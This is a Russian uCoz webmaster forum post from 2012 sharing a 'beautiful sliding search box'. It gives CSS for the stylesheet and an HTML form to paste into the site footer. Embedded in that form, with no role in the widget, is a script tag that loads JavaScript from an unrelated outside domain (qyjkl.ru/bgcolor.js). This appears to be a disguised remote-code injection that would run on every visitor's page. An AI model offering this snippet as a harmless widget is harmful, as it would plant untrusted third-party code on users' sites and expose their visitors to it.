Вторник, 11.08.2020, 12:57Приветствую Вас Гость | RSS
Главная | Выдыижной, Красивый поиск - Форум | Регистрация | Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Для вебмастера » Скрипты системы UCOZ » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
Выдыижной, Красивый поиск
sachok Дата: Воскресенье, 15.07.2012, 18:48 | Сообщение # 1
Группа: Пользователи
Сообщений: 81
Статус: :-)
Смотрим скрин скрипта: http://i075.radikal.ru/1207/67/0c366b24f772.png

Установка:
1)Вставляем в CSS в самый низ:

[code].poisk{
position:fixed;
background-image:-webkit-linear-gradient(bottom,#426BFF,#60A5FF);
background-image:-moz-linear-gradient(bottom,#426BFF,#60A5FF);
background-image:-o-linear-gradient(bottom,#426BFF,#60A5FF);
background-image:linear-gradient(bottom,#426BFF,#60A5FF);
-webkit-box-shadow:0 0 3px black;
-moz-box-shadow:0 0 3px black;
-o-box-shadow:0 0 3px black;
box-shadow:0 0 3px black;
border:1px solid #404040;
left:-200px;
width:240px;
height:30px;
border-radius:3px;
top:100px;
color:white;
text-shadow:0 0 3px black;
-webkit-transition:all 0.4s ease;
-moz-transition:all 0.4s ease;
-o-transition:all 0.4s ease;
transition:all 0.4s ease;
padding:3px;
}
.poisk:hover{
left:-3px;
}
.poisk #search{
width:175px;
position:relative;
top:3px;
left:5px;
-webkit-transition: all 0.4s ease;
-moz-transition: all 0.4s ease;
-o-transition: all 0.4s ease;
transition: all 0.4s ease;
border-radius:3px;
border:1px solid #606060;
height:26px;
}
.poisk:hover #search{
width:230px;
}
#search{
-webkit-transition:all 0.2s ease;
-moz-transition:all 0.2s ease;
-o-transition:all 0.2s ease;
transition:all 0.2s ease;
}
#search:focus{
border:1px solid #404040;
-webkit-box-shadow:inset 1px 1px 3px #ccc;
-moz-box-shadow:inset 1px 1px 3px #ccc;
box-shadow:inset 1px 1px 3px #ccc;
}
.poisk:hover #poiskknopka{
display:none;
}[/code]

2)Вставляем в Нижнюю часть сайта:

[code]<div class="poisk"><form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/"><input id="search" class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}" id="acpro_inp11" autocomplete="off"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><span style="position:absolute;right: 10px;top: 6px;font-family: tahoma, sans-serif;font-size: 14px;font-style: normal;font-variant: normal;font-weight: normal;" id="poiskknopka"><img src="http://s017.radikal.ru/i427/1207/d2/fe6772a47ea5.png"></span></form></div>[/code]


sachok
Форум » Для вебмастера » Скрипты системы UCOZ » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Последнии темы Читаемые темы Лучшие пользователи Новые пользователи

vLineAge2.ru приглашает сразу после конца света, 22.12, 17.00 МСК!

MagdoJIuHA85

(0)

Бесплатная раскрутка сайта

jumper

(154)

Проект vLineAge2.ru приглашает Вас 19.10.2012 в 19.00 мск!

DarkBoobs79

(0)

vLineAge.ru приглашает Вас 19.10.2012 в 19.00 мск!

DarkBoobs79

(0)

Сегодня нас посетили XX юзеров

sachok

(0)

Скрипт "сегодня были пользователи" для uCoz

sachok

(0)

Тёмный вид материалов каталога файлов, новостей,статей, новый diz-c

sachok

(0)

Выдыижной, Красивый поиск

sachok

(0)

Скрипт статистики сайта под темный дизайн

sachok

(0)

ClanWars - статистика CW для ucoz, победы - Поражения

sachok

(0)

Бесплатная раскрутка сайта

(154)

Новый турнир *на вылет* Регистрация здесь

(27)

Премьер-Лига по FIFA 09

(22)

Набирается команда сайта

(20)

Результаты игр

(9)

Инструкция для игры

(8)

Тема для проведения товарняков!!!

(8)

Изготовление аватаров

(7)

Правила Премьер_Лиги

(6)

Премьер-Лига

(5)

jumper

(127)

sachok

(81)

pinkY

(31)

admin

(20)

Buffon

(20)

magistr

(17)

SlemHut

(16)

nicknam

(14)

жека

(12)

jasminka

(9)

  • dhsibgjvvv
  • Teach
  • waxirewion
  • Chuangzhi
  • margesic


  • Copyright Football-world © 2008
    Rambler's Top100 Футбол на Soccer.ru: Новости футбола России и Европы онлайн, Евро кубки и чемпионаты Live Каталог Ресурсов Интернет